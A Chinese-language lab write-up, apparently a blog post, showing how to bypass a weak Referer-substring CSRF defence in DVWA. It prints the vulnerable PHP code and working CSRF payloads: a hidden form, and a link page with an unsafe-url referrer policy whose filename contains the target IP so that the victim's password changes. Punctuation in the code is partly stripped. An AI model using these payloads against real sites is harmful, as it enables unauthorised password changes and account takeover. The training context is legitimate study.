兼职做设计什么网站好,wordpress 经典简约主题,优化网站标题和描述的方法,跑流量的网站CSRF攻击(2), 绕过Referer防御
一. 场景:
攻击服务器: 192.168.112.202
目标服务器: 192.168.112.200说明: 1. 前端页面的功能是修改密码. 2. 将恶意页面放到202服务器上, 在目标200服务器上访问恶意页面, 目的是绕过200服务器上对CSRF的防御, 修改密码.
二. 后端防御代码: …CSRF攻击(2), 绕过Referer防御
一. 场景:
攻击服务器: 192.168.112.202
目标服务器: 192.168.112.200说明: 1. 前端页面的功能是修改密码. 2. 将恶意页面放到202服务器上, 在目标200服务器上访问恶意页面, 目的是绕过200服务器上对CSRF的防御, 修改密码.
二. 后端防御代码:
?phpif( isset( $_GET[ Change ] ) ) {// Checks to see where the request came fromif( stripos( $_SERVER[ HTTP_REFERER ] ,$_SERVER[ SERVER_NAME ]) ! false ) {// Get input$pass_new $_GET[ password_new ];$pass_conf $_GET[ password_conf ];// Do the passwords match?if( $pass_new $pass_conf ) {// They do!$pass_new ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $pass_new ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));$pass_new md5( $pass_new );// Update the database$insert UPDATE users SET password $pass_new WHERE user . dvwaCurrentUser() . ;;$result mysqli_query($GLOBALS[___mysqli_ston], $insert ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre );// Feedback for the userecho prePassword Changed./pre;}else {// Issue with passwords matchingecho prePasswords did not match./pre;}}else {// Didnt come from a trusted sourceecho preThat request didnt look correct./pre;}((is_null($___mysqli_res mysqli_close($GLOBALS[___mysqli_ston]))) ? false : $___mysqli_res);
}? 三. 代码分析:
$_SERVER[HTTP_REFERER]: 这是一个超全局变量它从HTTP请求中提取Referer头部的值。Referer头部表示请求的来源页URL。 例如如果你从pageA.html点击一个链接到pageB.html那么在访问pageB.html时HTTP_REFERER将包含pageA.html的URL。$_SERVER[SERVER_NAME]: 这是另一个超全局变量它包含当前服务器的名称。这通常是与请求相关联的域名或主机名。stripos(): 这是一个PHP函数用于查找一个字符串在另一个字符串中首次出现的位置而不区分大小写。stripos($_SERVER[HTTP_REFERER], $_SERVER[SERVER_NAME]) ! false: 这是一个条件判断用于检查SERVER_NAME即当前服务器的名字是否出现在HTTP_REFERER中。 如果出现则stripos()函数将返回该位置一个非负整数否则返回false。 使用! false是为了确保检查不仅仅是真假还要检查数据类型即确保不是因为位置为0而误判为false。
四. 绕过方法:
当使用一个普通的表单类型的钓鱼链接时, 比如 http://192.168.112.202/csrf.html
html!-- CSRF PoC - generated by Burp Suite Professional --bodyscripthistory.pushState(, , /)/scriptform actionhttp://192.168.112.200/DVWA-master/vulnerabilities/csrf/input typehidden namepassword#95;new valueroot /input typehidden namepassword#95;conf valueroot /input typehidden nameChange valueChange /input typesubmit valueSubmit request //form/body
/html访问后观察请求头:
Referer: http://192.168.112.202/这里看到表单类型的链接, 点击后 Referer 只包含攻击者的ip, 并没有目标ip, 因此被防御.
现在我们需要让 Referer 字段中包含目标服务器的IP, 需要两个步骤:
1. 不能使用表单链接, 而是使用一个的超链接a, 超链接被点击后, Referer字段会包含这个html的文件名:
a hrefhttp://192.168.112.200/DVWA-master/vulnerabilities/csrf/?password_newrootpassword_confrootChangeChange
img srchttp://192.168.112.202/test.jpg//a这个html页面在202服务器, 但它里面的链接是向200服务器发送请求.
需要注意的是, 现代浏览器对于跨域请求的默认Referer头处理。 当请求是同源的即在相同的域、协议和端口上Referer通常会包含完整的URL。 但是对于跨域请求许多浏览器的默认行为是仅发送请求的源作为Referer而不包括完整的路径和查询参数。
为了避免出现这种情况, 可以在HTML文件中使用meta标签来设置Referrer-Policy策略. 在HTML中使用meta namereferrer contentunsafe-url标签会指示浏览器在发送请求时使用unsafe-url策略这将导致浏览器在Referer头中发送完整的URL无论请求是否跨域, 浏览器会根据这个策略发送Referer头.
设置策略为 unsafe-url:
!DOCTYPE html
headmeta namereferrer contentunsafe-url
/head
bodya hrefhttp://192.168.112.200/DVWA-master/vulnerabilities/csrf/?password_newrootpassword_confrootChangeChangeimg srchttp://192.168.112.202/test.jpg//a
/body
/html
2. 把这个html文件命名为 csrf_192.168.112.200.html, 重点是文件名中包含了目标服务器的地址, 那么完整的恶意链接就是:
http://192.168.112.202/csrf_192.168.112.200.html当这个图片链接被用户点击后观察请求头:
Referer: http://192.168.112.202/csrf_192.168.112.200.html这里可以看到 Referer 中由于包含了文件名, 所以就间接包含有目标服务器的ip, 绕过了后端对 SERVER_NAME 的判断, 密码修改成功.